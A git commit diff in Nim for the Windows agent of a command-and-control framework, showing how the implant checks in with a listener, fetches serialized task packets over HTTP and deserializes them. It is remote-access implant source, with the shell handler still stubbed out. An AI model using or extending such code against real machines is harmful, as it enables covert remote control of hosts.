Agent fetches serialized task data from prologue web server and successfully parses it.

This commit is contained in:
Jakob Friedl
2025-07-18 18:47:57 +02:00
parent 5825ec91a1
commit d22ad0bd0c
13 changed files with 275 additions and 86 deletions

View File

@@ -1,6 +1,6 @@
import httpclient, json, strformat, asyncdispatch
import ./[types, agentinfo]
import ./[types, utils, agentinfo]
proc register*(config: AgentConfig): string =
@@ -32,23 +32,24 @@ proc register*(config: AgentConfig): string =
finally:
client.close()
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
proc getTasks*(config: AgentConfig, agent: string): string =
# let client = newAsyncHttpClient()
# var responseBody = ""
let client = newAsyncHttpClient()
var responseBody = ""
# try:
# # Register agent to the Conquest server
# responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
# return parseJson(responseBody).to(seq[Task])
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return responseBody
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: Listener not reachable."
finally:
client.close()
# except CatchableError as err:
# # When the listener is not reachable, don't kill the application, but check in at the next time
# echo "[-] [getTasks]: ", responseBody
# finally:
# client.close()
return @[]
return ""
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =

View File

@@ -1,7 +1,8 @@
import strformat, os, times
import winim
import ./[types, http, taskHandler]
import ./[types, http]
import task/handler, task/parser
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -57,16 +58,22 @@ proc main() =
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue from the teamserver for the current agent
let tasks: seq[Task] = config.getTasks(agent)
# Retrieve task queue for the current agent
let packet: string = config.getTasks(agent)
if tasks.len <= 0:
echo "[*] No tasks to execute."
continue
if packet.len <= 0:
echo "No tasks to execute."
continue
let tasks: seq[Task] = deserializePacket(packet)
if tasks.len <= 0:
echo "No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
for task in tasks:
let result: TaskResult = task.handleTask(config)
let result: TaskResult = config.handleTask(task)
discard config.postResults(agent, result)
when isMainModule:

View File

@@ -5,4 +5,4 @@
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:SleepDelay=1
-d:SleepDelay=3

View File

@@ -1,11 +1,13 @@
import strutils, tables, json
import ./common/types
import ./commands/commands
import ../types
import ../commands/commands
import sugar
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
var taskResult: TaskResult
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
dump task
# var taskResult = TaskResult
# let handlers = {
# CMD_SLEEP: taskSleep,
# CMD_SHELL: taskShell,

View File

@@ -0,0 +1,90 @@
import strutils, strformat
import ../types
import ../utils
import ../../../common/types
import ../../../common/serialize
proc deserializeTask*(bytes: seq[byte]): Task =
var unpacker = initUnpacker(bytes.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
taskId = unpacker.getUint32()
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
var args = newSeq[TaskArg](argCount)
# Parse arguments
while argCount > 0:
args.add(unpacker.getArgument())
dec argCount
return Task(
header: Header(
magic: magic,
version: version,
packetType: packetType,
flags: flags,
seqNr: seqNr,
size: size,
hmac: hmac
),
taskId: taskId,
agentId: agentId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
argCount: argCount,
args: args
)
proc deserializePacket*(packet: string): seq[Task] =
result = newSeq[Task]()
var unpacker = initUnpacker(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]
while taskCount > 0:
# Read length of each task and store the task object in a seq[byte]
let
taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength))
result.add(deserializeTask(taskBytes))
dec taskCount

View File

@@ -1,6 +1,6 @@
import winim
import ../../common/types
export Task, CommandType, TaskResult, StatusType
export PacketType, ArgType, HeaderFlags, CommandType, StatusType, ResultType, Header, TaskArg, Task, TaskResult
type
ProductType* = enum

View File

@@ -1,5 +1,5 @@
import strformat
import ./common/types
import ./types
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
@@ -62,4 +62,9 @@ proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): strin
else:
discard
return "Unknown Windows Version"
return "Unknown Windows Version"
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
result[i] = char(b)